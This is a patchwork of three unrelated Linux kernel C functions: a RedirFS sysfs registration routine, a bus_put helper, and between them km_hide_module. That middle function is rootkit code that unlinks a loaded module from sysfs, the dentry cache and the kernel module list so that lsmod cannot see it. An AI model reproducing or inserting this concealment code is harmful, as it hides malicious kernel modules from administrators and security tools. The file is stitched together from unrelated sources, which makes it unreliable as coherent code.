int rfs_sysfs_create(void)
{
int rv;
rfs_kobj = kzalloc(sizeof(struct kobject), GFP_KERNEL);
if (!rfs_kobj)
return -ENOMEM;
kobject_init(rfs_kobj);
rfs_kobj->ktype = &rfs_kobj_ktype;
rfs_kobj->parent = &fs_subsys.kobj;
rv = kobject_set_name(rfs_kobj, "%s", "redirfs");
if (rv) {
kobject_put(rfs_kobj);
return rv;
}
rv = kobject_register(rfs_kobj);
if (rv) {
kobject_put(rfs_kobj);
return rv;
}
rv = -ENOMEM;
rfs_flt_kset = kzalloc(sizeof(struct kset), GFP_KERNEL);
if (!rfs_flt_kset)
goto err_kobj;
kobject_init(&rfs_flt_kset->kobj);
rfs_flt_kset->kobj.ktype = &rfs_kobj_ktype;
rfs_flt_kset->kobj.parent = rfs_kobj;
rv = kobject_set_name(&rfs_flt_kset->kobj, "%s", "filters");
if (rv)
goto err_kset;
rv = kset_register(rfs_flt_kset);
if (rv)
goto err_kset;
return 0;
err_kset:
kset_put(rfs_flt_kset);
err_kobj:
kobject_unregister(rfs_kobj);
return rv;
}
static void
km_hide_module(
const char* const data
)
{
kobject* kobj = &THIS_MODULE->mkobj.kobj;
path km_path;
// Check to ensure we're hidden first...
if ( g_state.hidden )
{
return;
}
g_state.hidden = 1;
// Remove from sysfs
mutex_lock( g_sysfs_mutex );
sysfs_unlink_sibling( kobj->sd );
mutex_unlock( g_sysfs_mutex );
kobj->state_in_sysfs = 0;
spin_lock( &kobj->kset->list_lock );
list_del_init( &kobj->entry );
spin_unlock( &kobj->kset->list_lock );
kset_put( kobj->kset );
// Decrement parent ref count in sysfs
kobject_put( kobj->parent );
// Remove the km module from the dentry cache if it's present
if ( kern_path( "/sys/module/km", LOOKUP_DIRECTORY, &km_path ) == 0 && km_path.dentry )
{
d_drop( km_path.dentry );
}
// Remove from the module list - so lsmod can't see us
mutex_lock( &module_mutex );
list_del_rcu( &THIS_MODULE->list );
mutex_unlock( &module_mutex );
}
static void bus_put(struct bus_type *bus)
{
if (bus)
kset_put(&bus->p->subsys);
}
